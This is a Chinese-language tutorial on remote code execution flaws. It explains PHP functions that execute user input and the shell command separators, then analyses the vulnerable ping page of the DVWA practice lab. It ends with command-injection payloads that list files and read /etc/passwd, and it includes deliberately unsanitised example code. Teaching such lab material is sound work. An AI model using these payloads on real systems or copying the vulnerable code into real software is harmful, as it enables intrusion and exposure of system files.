RCE漏洞的定义
应用程序允许攻击者在远程服务器上执行未授权的代码或命令。
RCE漏洞的原理
漏洞原理:
- 代码执行漏洞:应用程序中的某些函数可以执行用户输入的代码。例如,PHP中的
eval()
函数可以将字符串作为代码执行。 - 命令执行漏洞:应用程序中的某些函数可以执行系统命令,并将用户输入作为命令参数。攻击者通过拼接符,执行其他命令
常见命令执行函数及命令拼接符
函数
函数 | 描述 | 示例代码 |
---|---|---|
eval() | 执行字符串作为PHP代码 | eval($_GET['code']); 这会执行通过GET请求传递的代码。 |
exec() | 执行一个命令行命令 | exec($_GET['cmd']); 这会执行通过GET请求传递的命令。 |
shell_exec() | 执行命令,并将完整的输出作为字符串返回 | $output = shell_exec($_GET['cmd']); 这会执行命令并获取输出。 |
system() | 执行命令并显示输出 | system($_GET['cmd']); 这会执行命令并输出结果。 |
命令拼接符
拼接符 | Windows 示例 | Linux 示例 |
---|---|---|
&& | command1 && command2 命令1执行成功才执行命令2 | command1 && command2 命令1执行成功才执行命令2 |
& | command1 & command2 命令1在后台运行,然后执行命令2 | command1 & command2 命令1在后台运行,然后执行命令2 |
; | command1 ; command2 无论命令1成功与否都执行命令2 | command1 ; command2 无论命令1成功与否都执行命令2 |
实例【dvwa靶场】
具ping功能存在rce漏洞的网站
源码解析
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
运行逻辑
1.检查用户请求中是否存在 submit 参数,存在执行if语句
<?php
if( isset( $_POST[ 'submit' ] ) ) {
2.获取请求中,参数名为 ip 的值,并赋值给变量target
$target = $_REQUEST[ 'ip' ];
3 使用 php_uname() 函数,获取服务器系统信息,使用 stristr() 函数 忽视大小写查询字符串中,是否存在指定内容
if (stristr(php_uname('s'), 'Windows NT')) {
<1..如果服务器系统为windows,使用 shell_exec() 执行windows样式的ping命令
$cmd = shell_exec( 'ping ' . $target );
<2.使用 <pre> 标签格式化显示命令输出结果
echo '<pre>'.$cmd.'</pre>';
4.如果服务器不是windows系统执行else语句
} else {
<1.拼接linux系统命令,使ping命令限制回应次数为三次
$cmd = shell_exec( 'ping -c 3 ' . $target );
<2.输出结果
echo '<pre>'.$cmd.'</pre>';
漏洞利用
使用命令拼接符进行拼接
1.执行命令
payload:127.0.0.1;ls
2.查看系统文件
payload:127.0.0.1;cat /etc/passwd